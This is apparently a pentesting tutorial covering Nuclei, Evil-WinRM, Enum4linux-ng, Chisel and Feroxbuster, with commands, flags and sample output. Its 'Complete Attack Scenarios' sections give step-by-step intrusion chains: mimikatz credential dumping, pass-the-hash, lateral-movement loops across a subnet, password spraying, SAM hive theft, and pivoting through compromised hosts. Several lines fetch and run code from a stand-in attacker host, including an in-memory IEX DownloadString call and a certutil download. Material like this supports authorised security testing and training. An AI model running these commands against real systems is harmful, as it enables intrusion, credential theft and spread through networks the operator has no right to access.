What is Nuclei? Nuclei is a fast, template-based vulnerability scanner that sends requests based on templates (YAML files) and checks for vulnerabilities. It has 5,000+ community templates covering: CVEs, misconfigurations, default credentials, exposed panels, and MORE! Think of it as "Nmap for web apps" - automated, fast, comprehensive!
Why Nuclei? It has 5,000+ ready-made templates (constantly updated), scans FAST (100+ threads), finds CVEs automatically, supports custom templates (write your own!), integrates with CI/CD pipelines, and is used by bug bounty hunters worldwide!
Installation & Setup
# Install via Go:
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# Or download binary:
# https://github.com/projectdiscovery/nuclei/releases
# Update templates (IMPORTANT - do this regularly!):
nuclei -update-templates
# Downloads: 5,000+ templates from GitHub
# Check version:
nuclei -version
# Template location:
~/nuclei-templates/
# Contains: CVE templates, exposures, misconfigurations, etc.
Basic Usage
# Scan single URL:
nuclei -u http://target.com
# Runs: ALL templates against target
# Example output:
[CVE-2021-41773] [http] [critical] http://target.com/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
[exposed-panels] [http] [info] http://target.com/admin/
[default-login] [http] [medium] http://target.com/login (admin:admin)
# BEGINNER EXPLANATION:
# Each line = One vulnerability found
# [CVE-2021-41773] = Vulnerability name
# [critical] = Severity (info, low, medium, high, critical)
# [http] = Protocol
# URL = Where vulnerability was found
# Scan multiple URLs:
nuclei -l targets.txt
# File with: One URL per line
# Scan from stdin (pipe from other tools):
echo "http://target.com" | nuclei
cat urls.txt | nuclei
Template Selection
# Run specific template:
nuclei -u http://target.com -t ~/nuclei-templates/cves/2021/CVE-2021-41773.yaml
# -t: Template path
# Run template directory:
nuclei -u http://target.com -t ~/nuclei-templates/cves/
# Runs: ALL CVE templates
# Run by severity:
nuclei -u http://target.com -severity critical,high
# Only: Critical and high severity templates
# Run by tag:
nuclei -u http://target.com -tags cve,rce
# Tags: cve, rce, xss, sqli, lfi, rfi, ssrf, etc.
# Exclude templates:
nuclei -u http://target.com -exclude-tags dos
# Skip: DoS templates (avoid crashing target!)
# Run specific CVE:
nuclei -u http://target.com -tags cve-2021-41773
# List all tags:
nuclei -tl
# Shows: All available tags
Template Categories
# Main template directories:
# CVEs (most important!):
nuclei -u http://target.com -t ~/nuclei-templates/cves/
# 2,000+ CVE templates (2017-2024)
# Exposed panels (login pages, admin panels):
nuclei -u http://target.com -t ~/nuclei-templates/exposed-panels/
# Finds: /admin/, phpMyAdmin, cPanel, etc.
# Misconfigurations:
nuclei -u http://target.com -t ~/nuclei-templates/misconfiguration/
# Finds: Directory listing, debug mode, exposed .git/, etc.
# Technologies (detect tech stack):
nuclei -u http://target.com -t ~/nuclei-templates/technologies/
# Detects: WordPress, Joomla, Laravel, etc.
# Default credentials:
nuclei -u http://target.com -t ~/nuclei-templates/default-logins/
# Tries: admin:admin, root:root, etc.
# Vulnerabilities (non-CVE):
nuclei -u http://target.com -t ~/nuclei-templates/vulnerabilities/
# Finds: Generic vulnerabilities
# Fuzzing templates:
nuclei -u http://target.com -t ~/nuclei-templates/fuzzing/
# Tests: SSTI, SSRF, XSS, SQLi, etc.
Output & Reporting
# Save output to file:
nuclei -u http://target.com -o results.txt
# -o: Output file
# JSON output (for automation):
nuclei -u http://target.com -json -o results.json
# -json: JSON format
# Markdown report:
nuclei -u http://target.com -markdown-export report.md
# Only show matched vulnerabilities:
nuclei -u http://target.com -silent
# -silent: No banner, only matches
# Verbose output:
nuclei -u http://target.com -v
# Shows: Template execution details
Performance Tuning
# Concurrency (threads):
nuclei -u http://target.com -c 100
# -c: 100 concurrent requests (default: 25)
# Rate limiting:
nuclei -u http://target.com -rate-limit 50
# Max 50 requests/second
# Timeout:
nuclei -u http://target.com -timeout 10
# 10 seconds per request
# Retries:
nuclei -u http://target.com -retries 2
# Retry failed requests twice
Proxy & Authentication
# Use proxy (Burp Suite):
nuclei -u http://target.com -proxy http://127.0.0.1:8080
# Custom headers:
nuclei -u http://target.com -H "Authorization: Bearer TOKEN"
nuclei -u http://target.com -H "Cookie: session=abc123"
# Custom variables (for templates):
nuclei -u http://target.com -var username=admin -var password=admin
Advanced Features
# Workflow (chain templates):
# Example: Find WordPress → Check for xmlrpc.php → Brute-force
nuclei -u http://target.com -w ~/nuclei-templates/workflows/wordpress-workflow.yaml
# Automatic template selection (smart scan):
nuclei -u http://target.com -as
# -as: Automatic scan (faster, selects relevant templates)
# Resume scan:
nuclei -u http://target.com -resume resume.cfg
# Continues: Previously interrupted scan
# Bulk scan:
nuclei -l targets.txt -bulk-size 50
# Processes: 50 targets at a time
# Stats (show progress):
nuclei -u http://target.com -stats
# Shows: Real-time statistics
Custom Templates
# Create custom template (YAML):
# Example: Check for phpinfo.php
# File: phpinfo-check.yaml
id: phpinfo-exposed
info:
name: PHPInfo Exposed
author: your_name
severity: high
description: Detects exposed phpinfo.php
requests:
- method: GET
path:
- "{{BaseURL}}/phpinfo.php"
- "{{BaseURL}}/info.php"
- "{{BaseURL}}/test.php"
matchers:
- type: word
words:
- "PHP Version"
- "phpinfo()"
condition: or
# Run custom template:
nuclei -u http://target.com -t phpinfo-check.yaml
Complete Attack Scenarios
# SCENARIO 1: Full Vulnerability Scan
# Step 1: Run critical/high severity templates
nuclei -l targets.txt -severity critical,high -o critical_vulns.txt
# Step 2: Check for exposed panels
nuclei -l targets.txt -t ~/nuclei-templates/exposed-panels/ -o panels.txt
# Step 3: Check for CVEs
nuclei -l targets.txt -t ~/nuclei-templates/cves/ -severity critical,high -o cves.txt
# Step 4: Check for misconfigurations
nuclei -l targets.txt -t ~/nuclei-templates/misconfiguration/ -o misconfigs.txt
# SCENARIO 2: Bug Bounty Hunting
# Collect subdomains (subfinder):
subfinder -d target.com -o subdomains.txt
# Find live hosts (httpx):
cat subdomains.txt | httpx -o live_hosts.txt
# Run Nuclei on live hosts:
cat live_hosts.txt | nuclei -t ~/nuclei-templates/ -severity medium,high,critical -o bounty_results.txt
# SCENARIO 3: Continuous Monitoring (CI/CD)
# Daily automated scan:
#!/bin/bash
nuclei -l targets.txt -t ~/nuclei-templates/ -severity critical,high -json -o results_$(date +%Y-%m-%d).json
# Integrate: Slack/Discord notifications for new vulnerabilities
# SCENARIO 4: Quick CVE Check (when new CVE drops)
# Update templates:
nuclei -update-templates
# Scan for specific CVE:
nuclei -l targets.txt -tags cve-2023-12345 -o cve_results.txt
# SCENARIO 5: Integration with other tools
# Chain with subfinder + httpx + nuclei:
subfinder -d target.com -silent | httpx -silent | nuclei -t ~/nuclei-templates/cves/ -silent -o results.txt
# One-liner bug bounty pipeline!
Evil-WinRM (THE WinRM Exploitation Shell)
What is Evil-WinRM? Evil-WinRM is the ultimate WinRM (Windows Remote Management) shell for pentesting. It provides a PowerShell-like interactive shell, file upload/download, pass-the-hash attacks, and MORE! If you have Windows credentials and port 5985/5986 is open, Evil-WinRM is your ticket to RCE!
Why Evil-WinRM? It's written in Ruby (fast, extensible), supports pass-the-hash (no password needed!), has built-in file transfer, executes PowerShell scripts from memory (fileless attacks), and bypasses most AV/EDR. Essential for Windows post-exploitation!
Installation & Basic Usage
# Install (pre-installed in Kali):
sudo apt install evil-winrm
# Or install via gem:
gem install evil-winrm
# Basic connection (username + password):
evil-winrm -i 192.168.1.50 -u administrator -p 'P@ssw0rd!'
# -i: Target IP
# -u: Username
# -p: Password
# Connection successful:
Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\administrator\Documents> whoami
corp\administrator
# BEGINNER EXPLANATION:
# WinRM = Windows Remote Management (like SSH for Windows)
# Default ports: 5985 (HTTP), 5986 (HTTPS)
# Requires: Valid credentials OR NTLM hash
# Result: PowerShell shell on remote Windows machine!
Authentication Methods
# Username + password:
evil-winrm -i 192.168.1.50 -u administrator -p 'P@ssw0rd!'
# Pass-the-hash (NTLM hash):
evil-winrm -i 192.168.1.50 -u administrator -H 'NTLM_HASH'
# -H: NTLM hash (from secretsdump, mimikatz, etc.)
# Example hash:
# aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
# Domain authentication:
evil-winrm -i 192.168.1.50 -u john -p 'Welcome123!' -d CORP.LOCAL
# -d: Domain name
# HTTPS connection (port 5986):
evil-winrm -i 192.168.1.50 -u administrator -p 'P@ssw0rd!' -S
# -S: Use SSL/TLS
# Ignore SSL errors:
evil-winrm -i 192.168.1.50 -u administrator -p 'P@ssw0rd!' -S -ssl
# -ssl: Skip certificate validation
# Custom port:
evil-winrm -i 192.168.1.50 -u administrator -p 'P@ssw0rd!' -P 5985
# -P: Port (default: 5985 for HTTP, 5986 for HTTPS)
File Transfer (Upload & Download)
# INSIDE Evil-WinRM shell:
# Upload file:
*Evil-WinRM* PS> upload /path/to/local/file.exe C:\Windows\Temp\file.exe
# Syntax: upload LOCAL_PATH REMOTE_PATH
# Example: Upload Mimikatz
*Evil-WinRM* PS> upload /opt/mimikatz/mimikatz.exe C:\Windows\Temp\mimikatz.exe
# Download file:
*Evil-WinRM* PS> download C:\Users\john\passwords.txt /tmp/passwords.txt
# Syntax: download REMOTE_PATH LOCAL_PATH
# Example: Download SAM hive
*Evil-WinRM* PS> download C:\Windows\System32\config\SAM /tmp/SAM
# BEGINNER TIP:
# upload/download commands are Evil-WinRM built-ins
# NOT standard PowerShell commands!
# Use these INSIDE Evil-WinRM shell only
PowerShell Execution
# Execute PowerShell commands directly:
*Evil-WinRM* PS> whoami
corp\administrator
*Evil-WinRM* PS> ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0:
IPv4 Address. . . . . . . . . . . : 192.168.1.50
*Evil-WinRM* PS> Get-Process
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
123 8 1234 5678 0.12 1234 0 svchost
# Execute commands from outside shell:
evil-winrm -i 192.168.1.50 -u administrator -p 'P@ssw0rd!' -c 'whoami'
# -c: Execute single command (no interactive shell)
# Execute local PowerShell script:
evil-winrm -i 192.168.1.50 -u administrator -p 'P@ssw0rd!' -s /path/to/scripts/
# -s: Directory with PowerShell scripts
# Then inside shell:
*Evil-WinRM* PS> Invoke-Script.ps1
Load PowerShell Scripts from Memory (Fileless!)
# Execute script without writing to disk:
*Evil-WinRM* PS> Invoke-Binary /opt/powershell/PowerView.ps1
# Loads: PowerView.ps1 into memory (no file on disk!)
# Example: Load Mimikatz (PowerSploit version)
*Evil-WinRM* PS> Invoke-Binary /opt/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1
*Evil-WinRM* PS> Invoke-Mimikatz
# Runs: Mimikatz in memory (bypasses AV!)
# Load remote script:
*Evil-WinRM* PS> IEX(New-Object Net.WebClient).DownloadString('http://attacker_ip/PowerView.ps1')
# Downloads and executes: PowerView from attacker's web server
# BEGINNER EXPLANATION:
# Fileless attack = No files written to disk
# Harder to detect: AV can't scan files that don't exist!
# PowerShell executes: Scripts directly in memory
Modules & Executables
# Load DLL (Windows library):
*Evil-WinRM* PS> Dll-Loader -smb -path \\attacker_ip\share\file.dll
# Loads: DLL from SMB share
# Execute .NET assembly:
*Evil-WinRM* PS> Invoke-Binary /opt/Rubeus.exe
# Runs: .NET executable in memory
# WHY THIS IS POWERFUL:
# Tools like Rubeus, Seatbelt, SharpHound work WITHOUT touching disk
# Bypasses: File-based AV detection
Complete Attack Scenarios
# SCENARIO 1: Initial Access via WinRM
# Step 1: Check if WinRM is open (Nmap)
nmap -p 5985,5986 192.168.1.50
# 5985/tcp open wsman
# Step 2: Try credentials (from password spray, breach, etc.)
evil-winrm -i 192.168.1.50 -u john -p 'Welcome123!'
# Success! Shell obtained
# Step 3: Enumerate system
*Evil-WinRM* PS> whoami /all
*Evil-WinRM* PS> systeminfo
*Evil-WinRM* PS> net user
*Evil-WinRM* PS> net group "Domain Admins" /domain
# Step 4: Upload tools
*Evil-WinRM* PS> upload /opt/mimikatz/mimikatz.exe C:\Windows\Temp\mimikatz.exe
# Step 5: Dump credentials
*Evil-WinRM* PS> C:\Windows\Temp\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
# Got: administrator NTLM hash!
# Step 6: Pass-the-hash to escalate
evil-winrm -i 192.168.1.50 -u administrator -H 'NTLM_HASH'
# Now: Administrator shell!
# SCENARIO 2: Fileless Post-Exploitation
# Connect:
evil-winrm -i 192.168.1.50 -u administrator -H 'NTLM_HASH'
# Load PowerView (AD enumeration):
*Evil-WinRM* PS> IEX(New-Object Net.WebClient).DownloadString('http://attacker_ip/PowerView.ps1')
*Evil-WinRM* PS> Get-DomainUser -SPN
# Found: Kerberoastable accounts!
# Load Rubeus (Kerberoasting):
*Evil-WinRM* PS> Invoke-Binary /opt/Rubeus.exe kerberoast /format:hashcat
# Got: Service account hashes!
# Crack hashes offline:
hashcat -m 13100 kerberoast_hashes.txt rockyou.txt
# SCENARIO 3: Lateral Movement
# From: 192.168.1.50 (compromised)
# To: 192.168.1.51 (target)
# Step 1: Check if same creds work:
evil-winrm -i 192.168.1.51 -u administrator -H 'NTLM_HASH'
# Success! Same local admin password
# Step 2: Repeat for entire subnet:
for ip in $(seq 50 60); do
echo "Trying 192.168.1.$ip"
evil-winrm -i 192.168.1.$ip -u administrator -H 'NTLM_HASH' -c 'hostname'
done
# Found: 5 machines with same creds!
Advanced Options
# Custom timeout:
evil-winrm -i 192.168.1.50 -u administrator -p 'P@ssw0rd!' -t 300
# -t: Timeout in seconds
# No colors (for scripting):
evil-winrm -i 192.168.1.50 -u administrator -p 'P@ssw0rd!' -N
# -N: No colors
# Execute command and exit:
evil-winrm -i 192.168.1.50 -u administrator -p 'P@ssw0rd!' -c 'whoami' -e
# -e: Exit after command
# Use NTLM v2 authentication:
evil-winrm -i 192.168.1.50 -u administrator -p 'P@ssw0rd!' --ntlm
# --ntlm: Force NTLM auth
Enum4linux-ng (THE SMB/LDAP Enumeration Tool)
What is Enum4linux-ng? Enum4linux-ng is the next-generation rewrite of the classic enum4linux tool. It enumerates Windows/Samba systems via SMB (port 445) and LDAP (port 389) to extract: users, groups, shares, password policy, OS info, and MORE! Think of it as "nmap for Windows networks" - reconnaissance without credentials!
Why Enum4linux-ng? It's written in Python (faster than original Bash version), has JSON output (automation-friendly), supports YAML config, performs NULL session attacks, works against both Windows AND Samba, and is actively maintained (original enum4linux is deprecated)!
Installation & Basic Usage
# Install:
pip3 install enum4linux-ng
# Or from GitHub:
git clone https://github.com/cddmp/enum4linux-ng.git
cd enum4linux-ng
pip3 install -r requirements.txt
# Basic enumeration (NULL session):
enum4linux-ng 192.168.1.50
# Tries: Anonymous/NULL session (no credentials)
# Example output:
[+] Target 192.168.1.50
[+] SMB Dialect: SMB 3.1.1
[+] Domain Name: CORP
[+] Domain SID: S-1-5-21-123456789-123456789-123456789
[+] Users via RPC:
administrator
guest
john
sarah
[+] Groups via RPC:
Domain Admins
Domain Users
Enterprise Admins
[+] Shares:
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
Users Disk User shares
# BEGINNER EXPLANATION:
# NULL session = Anonymous connection (no username/password)
# Works on: Misconfigured Windows servers, old Samba versions
# Extracts: Users, groups, shares WITHOUT credentials!
# Why it works: Some servers allow anonymous RPC/SMB queries
Authenticated Enumeration
# With credentials:
enum4linux-ng 192.168.1.50 -u john -p 'Welcome123!'
# -u: Username
# -p: Password
# Domain authentication:
enum4linux-ng 192.168.1.50 -u 'CORP\john' -p 'Welcome123!'
# OR:
enum4linux-ng 192.168.1.50 -u john -p 'Welcome123!' -d CORP.LOCAL
# -d: Domain
# Pass-the-hash:
enum4linux-ng 192.168.1.50 -u john -H 'NTLM_HASH'
# -H: NTLM hash
# MORE data with creds:
# - Full user lists with descriptions
# - Password policy details
# - Group memberships
# - More shares
# - Session information
Specific Enumeration Targets
# Enumerate users only:
enum4linux-ng 192.168.1.50 -U
# -U: Users
# Enumerate groups:
enum4linux-ng 192.168.1.50 -G
# -G: Groups
# Enumerate shares:
enum4linux-ng 192.168.1.50 -S
# -S: Shares
# Get OS information:
enum4linux-ng 192.168.1.50 -O
# -O: OS info
# Password policy:
enum4linux-ng 192.168.1.50 -P
# -P: Password policy (lockout threshold, password length, etc.)
# Printer information:
enum4linux-ng 192.168.1.50 -i
# -i: Printers
# ALL enumeration:
enum4linux-ng 192.168.1.50 -A
# -A: All (users, groups, shares, policy, OS, etc.)
Advanced Options
# RID cycling (enumerate users by RID):
enum4linux-ng 192.168.1.50 -R 500-1000
# -R: RID range (enumerate users with RID 500-1000)
# RID = Relative Identifier (unique user ID)
# Default RIDs:
# 500 = Administrator
# 501 = Guest
# 502-1000 = Domain users
# Aggressive mode (more queries):
enum4linux-ng 192.168.1.50 -A -u john -p 'Welcome123!'
# Performs: Maximum enumeration
# Timeout settings:
enum4linux-ng 192.168.1.50 -t 5
# -t: Timeout (seconds per query)
# Verbose output:
enum4linux-ng 192.168.1.50 -v
# -v: Verbose (show all queries)
# Debug mode:
enum4linux-ng 192.168.1.50 -vv
# -vv: Debug (VERY verbose!)
Output & Reporting
# JSON output (for automation):
enum4linux-ng 192.168.1.50 -oJ results.json
# -oJ: JSON format
# YAML output:
enum4linux-ng 192.168.1.50 -oY results.yaml
# -oY: YAML format
# Save to file (default format):
enum4linux-ng 192.168.1.50 -oA results
# -oA: All formats (creates results.json, results.yaml, results.txt)
Complete Attack Scenarios
# SCENARIO 1: Initial Network Recon (No Creds)
# Step 1: Find SMB hosts (Nmap)
nmap -p 445 192.168.1.0/24 -oG smb_hosts.txt
# Found: 10 hosts with port 445 open
# Step 2: Try NULL session enumeration on all hosts
for ip in $(grep "open" smb_hosts.txt | awk '{print $2}'); do
echo "Enumerating $ip"
enum4linux-ng $ip -oJ ${ip}_enum.json
done
# Step 3: Parse results (extract usernames)
cat *_enum.json | jq '.users[].username' | sort -u > usernames.txt
# Got: List of ALL domain users!
# Step 4: Password spray (CrackMapExec)
crackmapexec smb 192.168.1.0/24 -u usernames.txt -p 'Welcome123!' --continue-on-success
# Found: Valid credentials!
# SCENARIO 2: Authenticated Enumeration
# Got creds: john:Welcome123!
# Full enumeration:
enum4linux-ng 192.168.1.50 -u john -p 'Welcome123!' -A -oJ full_enum.json
# Check password policy:
enum4linux-ng 192.168.1.50 -u john -p 'Welcome123!' -P
# Output:
Password Info for Domain: CORP
[+] Minimum password length: 8
[+] Password history length: 24
[+] Maximum password age: 42 days
[+] Password Complexity Flags: DOMAIN_PASSWORD_COMPLEX
[+] Lockout threshold: 5 failed attempts
[+] Lockout duration: 30 minutes
# ANALYSIS:
# - Min 8 chars: Use wordlist with 8+ char passwords
# - Lockout after 5 attempts: Be careful with brute-force!
# - Password spraying is SAFER (1 password, all users)
# SCENARIO 3: Share Enumeration & Exploitation
# Enumerate shares:
enum4linux-ng 192.168.1.50 -u john -p 'Welcome123!' -S
# Found: Backups share (READ access)
# Connect to share:
smbclient //192.168.1.50/Backups -U john%Welcome123!
smb: \> ls
# Found: passwords.txt, config.xml
# Download:
smb: \> get passwords.txt
# Got: Credentials file!
Chisel (THE TCP/UDP Tunnel over HTTP)
What is Chisel? Chisel is a fast TCP/UDP tunnel over HTTP written in Go. It's used for: bypassing firewalls, pivoting through compromised machines, creating SOCKS proxies, and port forwarding. Think of it as "SSH tunneling but over HTTP" - works ANYWHERE!
Why Chisel? It's a single binary (no dependencies!), works on Windows/Linux/Mac, tunnels over HTTP (bypasses firewalls), supports SOCKS4/SOCKS5 proxies, has reverse/forward tunnels, and uses SSH for encryption. Essential for pivoting in enterprise networks!
Installation & Setup
# Download from GitHub:
# https://github.com/jpillora/chisel/releases
# Linux/Kali (attacker machine):
wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz
gunzip chisel_1.9.1_linux_amd64.gz
chmod +x chisel_1.9.1_linux_amd64
mv chisel_1.9.1_linux_amd64 chisel
# Windows (victim machine):
# Download: chisel_1.9.1_windows_amd64.exe
# Rename to: chisel.exe
# Check version:
./chisel --version
# chisel v1.9.1
Reverse Tunnel (Most Common!)
Scenario: You compromised a Windows machine behind a firewall. You want to pivot through it to access internal network (10.10.10.0/24). Reverse tunnel = Victim connects to YOU!
# ATTACKER MACHINE (Kali): Start Chisel server
./chisel server --port 8000 --reverse
# --port: Listening port on attacker
# --reverse: Accept reverse connections
# Output:
2024/01/01 10:00:00 server: Reverse tunnelling enabled
2024/01/01 10:00:00 server: Listening on http://0.0.0.0:8000
# VICTIM MACHINE (Windows): Connect to attacker
chisel.exe client ATTACKER_IP:8000 R:1080:socks
# client: Chisel client mode
# ATTACKER_IP:8000: Your Kali IP and port
# R:1080:socks: Reverse tunnel, SOCKS proxy on attacker port 1080
# Explanation:
# R: = Reverse tunnel (victim connects to attacker)
# 1080 = Port on ATTACKER machine
# socks = Create SOCKS5 proxy
# ATTACKER MACHINE: Output shows:
2024/01/01 10:00:01 server: session#1: Client version (1.9.1)
2024/01/01 10:00:01 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening
# NOW: Use SOCKS proxy to access internal network!
# Configure proxychains (attacker machine):
sudo nano /etc/proxychains4.conf
# Add at bottom:
socks5 127.0.0.1 1080
# Access internal network through tunnel:
proxychains nmap -sT -Pn 10.10.10.50
# Scans: Internal IP 10.10.10.50 THROUGH victim machine!
proxychains evil-winrm -i 10.10.10.51 -u administrator -p 'P@ssw0rd!'
# Connects: To internal machine through tunnel!
Forward Tunnel
Scenario: You have SSH access to a jump box. You want to forward a port FROM attacker TO victim.
# VICTIM MACHINE: Start Chisel server
./chisel server --port 8000
# ATTACKER MACHINE: Connect and forward port
./chisel client VICTIM_IP:8000 8080:localhost:80
# 8080:localhost:80 = Forward attacker port 8080 to victim port 80
# NOW: Access victim's port 80 via localhost:8080
curl http://localhost:8080
# Connects to: Victim's web server on port 80!
Reverse Port Forwarding
# ATTACKER: Start server
./chisel server --port 8000 --reverse
# VICTIM: Connect with specific port forward
chisel.exe client ATTACKER_IP:8000 R:8080:10.10.10.50:80
# R:8080:10.10.10.50:80 = Reverse forward
# Attacker port 8080 → Internal IP 10.10.10.50 port 80
# ATTACKER: Access internal web server
curl http://localhost:8080
# Connects to: 10.10.10.50:80 (internal machine) via victim!
Multiple Tunnels
# ATTACKER: Start server
./chisel server --port 8000 --reverse
# VICTIM: Create multiple tunnels in ONE connection
chisel.exe client ATTACKER_IP:8000 R:1080:socks R:8080:10.10.10.50:80 R:3389:10.10.10.51:3389
# Creates:
# 1. SOCKS proxy on attacker port 1080
# 2. Forward attacker port 8080 → internal 10.10.10.50:80
# 3. Forward attacker port 3389 → internal 10.10.10.51:3389 (RDP!)
# ATTACKER: Use tunnels
# SOCKS proxy:
proxychains nmap -sT 10.10.10.0/24
# Web server:
curl http://localhost:8080
# RDP:
xfreerdp /u:administrator /p:password /v:localhost:3389
# Connects to: 10.10.10.51 RDP via tunnel!
Authentication (Secure Tunnels)
# ATTACKER: Start server with authentication
./chisel server --port 8000 --reverse --auth user:password
# --auth: Require username:password
# VICTIM: Connect with credentials
chisel.exe client --auth user:password ATTACKER_IP:8000 R:1080:socks
# Must provide correct credentials!
Complete Attack Scenarios
# SCENARIO 1: Initial Access → Pivot to Internal Network
# Step 1: Compromise victim (192.168.1.50)
# Got: Shell via RCE exploit
# Step 2: Upload Chisel to victim
# HTTP server on attacker:
python3 -m http.server 80
# On victim:
certutil -urlcache -f http://ATTACKER_IP/chisel.exe C:\Windows\Temp\chisel.exe
# Step 3: Start Chisel server on attacker
./chisel server --port 8000 --reverse
# Step 4: Connect from victim
C:\Windows\Temp\chisel.exe client ATTACKER_IP:8000 R:1080:socks
# Step 5: Scan internal network through SOCKS proxy
proxychains nmap -sT -Pn 10.10.10.0/24
# Found: Internal machines (10.10.10.50, 10.10.10.51, 10.10.10.52)
# Step 6: Enumerate SMB via proxy
proxychains crackmapexec smb 10.10.10.0/24 -u administrator -p 'P@ssw0rd!'
# Found: Admin on 10.10.10.51!
# Step 7: Get shell on internal machine via proxy
proxychains evil-winrm -i 10.10.10.51 -u administrator -p 'P@ssw0rd!'
# Success: Shell on internal machine!
# SCENARIO 2: Multi-Hop Pivoting
# Network: Attacker → Victim1 (192.168.1.50) → Victim2 (10.10.10.50) → Internal (172.16.0.0/24)
# Hop 1: Attacker → Victim1
# Attacker:
./chisel server --port 8000 --reverse
# Victim1:
chisel.exe client ATTACKER_IP:8000 R:1080:socks
# Hop 2: Victim1 → Victim2
# Victim1:
chisel.exe server --port 9000 --reverse
# Victim2:
chisel.exe client 10.10.10.50:9000 R:2080:socks
# Configure proxychains for multi-hop:
# /etc/proxychains4.conf:
socks5 127.0.0.1 1080 # Attacker → Victim1
socks5 127.0.0.1 2080 # Victim1 → Victim2
# Scan internal network (172.16.0.0/24):
proxychains nmap -sT 172.16.0.0/24
Feroxbuster (THE Recursive Web Fuzzer in Rust)
What is Feroxbuster? Feroxbuster is a blazing-fast recursive web fuzzer written in Rust. It automatically discovers directories, then fuzzes INSIDE them (recursive!), detects wildcards, handles redirects smartly, and is FAST! Think "Gobuster + recursive scanning + smart filtering = Feroxbuster"!
Why Feroxbuster? It's written in Rust (FASTEST language!), auto-recursion (finds /admin → auto-fuzzes /admin/FUZZ), wildcard detection (filters false positives), smart redirect handling, colored output (easy to read), and has 400+ stars on GitHub. Modern web fuzzing at its best!
Installation & Basic Usage
# Install (pre-installed in newer Kali versions):
sudo apt install feroxbuster
# Or install via cargo (Rust):
cargo install feroxbuster
# Download binary:
# https://github.com/epi052/feroxbuster/releases
# Basic scan:
feroxbuster -u http://target.com
# Scans: Directories and files
# Example output:
200 GET 15l 50w 500c http://target.com/admin
301 GET 7l 20w 178c http://target.com/uploads => http://target.com/uploads/
403 GET 11l 32w 277c http://target.com/config
200 GET 200l 1500w 12345c http://target.com/admin/login
# BEGINNER EXPLANATION:
# 200 = Found (OK)
# 301 = Redirect (found directory!)
# 403 = Forbidden (exists but no access)
# l = Lines in response
# w = Words in response
# c = Characters (bytes) in response
Wordlists
# Use specific wordlist:
feroxbuster -u http://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
# -w: Wordlist path
# Multiple wordlists:
feroxbuster -u http://target.com -w wordlist1.txt,wordlist2.txt
# Tries: All wordlists in order
# Best wordlists for Feroxbuster:
/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt # 62,284 entries
/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt # 220,560 entries
/usr/share/seclists/Discovery/Web-Content/common.txt # 4,614 entries
Recursion (THE Killer Feature!)
# Enable recursion (automatic!):
feroxbuster -u http://target.com
# DEFAULT: Recursion is ON!
# Recursion depth:
feroxbuster -u http://target.com --depth 3
# --depth: Max 3 levels deep
# Example: /admin → /admin/panel → /admin/panel/users (3 levels)
# Disable recursion:
feroxbuster -u http://target.com --no-recursion
# Only: Root level (/FUZZ), no subdirectories
# WHY RECURSION IS POWERFUL:
# Without recursion (Gobuster):
# Finds: /admin → STOP
#
# With recursion (Feroxbuster):
# Finds: /admin → Auto-fuzzes /admin/FUZZ → Finds /admin/panel → Auto-fuzzes /admin/panel/FUZZ
# Discovers: /admin/panel/users/edit.php (missed by non-recursive tools!)
File Extensions
# Add file extensions:
feroxbuster -u http://target.com -x php,html,txt,js,json
# -x: Extensions to append
# Example:
# Wordlist: admin, config
# With -x php,html:
# Tries: admin, admin.php, admin.html, config, config.php, config.html
Filtering & Matching
# Filter by status code:
feroxbuster -u http://target.com -C 404,403
# -C: Don't show these status codes
# Match only specific status codes:
feroxbuster -u http://target.com -s 200,301,302
# -s: Show ONLY these codes
# Filter by response size:
feroxbuster -u http://target.com -S 1234
# -S: Filter responses with size 1234 bytes
# Filter by word count:
feroxbuster -u http://target.com -W 20
# -W: Filter responses with 20 words
# Filter by line count:
feroxbuster -u http://target.com -N 10
# -N: Filter responses with 10 lines
# Filter by regex:
feroxbuster -u http://target.com --filter-regex "error|not found"
# Only: Hide responses matching regex
Wildcard Detection (Smart Filtering!)
# Auto wildcard detection:
feroxbuster -u http://target.com --auto-tune
# --auto-tune: Detect wildcard responses
# HOW IT WORKS:
# Some servers return 200 for ALL requests (even non-existent paths!)
# Example: http://target.com/asdfghjkl123 → 200 OK (fake response)
#
# Feroxbuster sends random strings → detects wildcard pattern → filters it out!
# Manual wildcard filtering:
feroxbuster -u http://target.com -S 1234
# If all fake responses = 1234 bytes → filter them!
Performance Tuning
# Threads:
feroxbuster -u http://target.com -t 200
# -t: 200 concurrent threads (default: 50)
# More threads = FASTER!
# Rate limiting:
feroxbuster -u http://target.com --rate-limit 100
# --rate-limit: Max 100 requests/second
# Timeout:
feroxbuster -u http://target.com --timeout 10
# --timeout: 10 seconds per request
# Time limit:
feroxbuster -u http://target.com --time-limit 5m
# --time-limit: Stop after 5 minutes
Authentication & Headers
# Custom headers:
feroxbuster -u http://target.com -H "Authorization: Bearer TOKEN"
# -H: Custom header
# Cookies:
feroxbuster -u http://target.com -H "Cookie: session=abc123"
# Basic authentication:
feroxbuster -u http://target.com -a username:password
# -a: Basic auth
# User-Agent:
feroxbuster -u http://target.com -A "Mozilla/5.0 ..."
# -A: User-Agent
Output & Reporting
# Save to file:
feroxbuster -u http://target.com -o results.txt
# -o: Output file
# JSON output:
feroxbuster -u http://target.com --json -o results.json
# --json: JSON format
# Quiet mode (no banner):
feroxbuster -u http://target.com -q
# -q: Quiet
# Silent mode (only URLs):
feroxbuster -u http://target.com --silent
# --silent: Only show discovered URLs
# No colors (for scripts):
feroxbuster -u http://target.com --no-colors
Advanced Features
# Extract links from responses:
feroxbuster -u http://target.com --extract-links
# --extract-links: Find URLs in response HTML → auto-fuzz them!
# Scan multiple URLs:
feroxbuster --stdin
# Reads URLs from stdin (pipe)
cat urls.txt | feroxbuster --stdin
